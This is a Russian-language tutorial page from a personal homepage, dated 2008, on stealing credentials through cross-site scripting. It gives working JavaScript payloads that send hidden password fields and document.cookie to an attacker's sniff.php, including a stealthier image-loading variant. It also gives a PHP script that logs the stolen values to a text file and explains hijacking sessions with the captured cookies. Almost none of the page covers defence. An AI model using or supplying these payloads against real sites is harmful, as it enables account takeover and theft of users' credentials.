Домашняя страница Ерёмина Антона (frenzon)

 

Перехватываем данные.

Итак, давайте сейчас посмотрим, как хакер может перехватить данные пользователя.



Перехватываем данные

Итак, давайте сейчас посмотрим, как хакер может перехватить данные
пользователя. Например, допустим, что хакер добавит на форум или гостевую
книгу следующий JavaScript-код:

<script>
document.location.href="http://192.168.1.5/sniff.php?test"
</script>

Этот код переадресует нас на Web-страницу http://192.168.1.5/sniff.php,
а в качестве параметра для примера передается слово "test". Сценарий
sniff.php — это программа хакера, которая просто сохраняет переданный
URL в каком-нибудь хранилище, например, в текстовом файле. Пример тако-
го файла может быть следующим:

<?
$f = fopen ("snif.txt", "а");
fwrite($f, $REQUEST_URL);
fclose($f);
print("OK");
?>

В этом примере содержимое URL сохраняется в текстовом файле snif.txt.
В нашем случае в этот файл попадет следующая строка: "/sniff.php?test".
Пока вроде ничего страшного, хакер сам себе отправил сообщение "test"
и Web-сайт пока не пострадал. Усложняем задачу. Допустим, что в форме
отправки сообщения есть невидимое поле passws, через которое передается
пароль:

<input type="hidden" name="passws" value="qwerty">

Каждый пользователь видит свой пароль, а чтобы увидеть чужой,
необходимо его перехватить. Для этого хакер может внедрить на форму следующий
JavaScript-код:

<script>
document.location.href = "http://192.168.1.5/snif.php?"+
document.messageadd.passws.value
</script>

В этом примере файлу sniff.php передается содержимое невидимого поля.
Теперь в файле snif.txt хакер будет собирать пароли добропорядочных
пользователей, и возможно, что на удочку попадется и администратор.
Но вероятность найти подобный сценарий стремится к нулю. Намного чаще
пароли хранятся в Cookies. Но и их украсть не проблема. Достаточно только
внедрить на форму следующий код:

<script>
document.location.href="http://192.168.1.5/sniff.php?"+
document.cookie;
</script>

Благодаря тому, что JavaScript имеет доступ к Cookies, мы без проблем
можем отправить их своему сценарию. Допустим, что в самом начале нашего
сценария в Cookies устанавливаются следующие два значения:

<?
setcookie ("user", "admin", time()+5184000);
setcookie ("pass", "qwerty", time()+5184000);
?>

Теперь после их перехвата в файле snif.txt мы увидим следующее:
/sniff.php?user=admin;%20pass=qwerty
Вот так вот хакеры с помощью XSS воруют пароли. Единственный
недостаток всех примеров, которые описаны выше, — они перенаправляют
пользователя на Web-страницу хакера. Это не очень хорошо, потому что
пользователь может заподозрить что-то неладное. Но хакеры нашли более незаметный
способ:

<script>
img = new Image () ;
img.src = "http://192.168.1.5/sniff.php?"+
document.cookie;
</script>

Секрет прост — мы просто создаем изображение и присваиваем ему в
качестве адреса наш сценарий. Да, это неправильно, ведь сценарий не является
изображением, но этот метод работает. При желании даже можно
переименовать файл sniff.php в sniff.gif, от этого ничего не изменится.
Теперь у хакера есть имя и хеш пароля. Если на Web-сайте разрешен
автоматический вход, то нет необходимости даже подбирать пароль. Дело в том, что
хакер может просто подменить свои Cookies перехваченными и зайти на
Web-сайт без какой-либо авторизации. Вот так вот просто и красиво хакер
может осуществить взлом.


Создан 15 мая 2008



  Комментарии       
Имя или Email


При указании email на него будут отправляться ответы
Как имя будет использована первая часть email до @
Сам email нигде не отображается!
Зарегистрируйтесь, чтобы писать под своим ником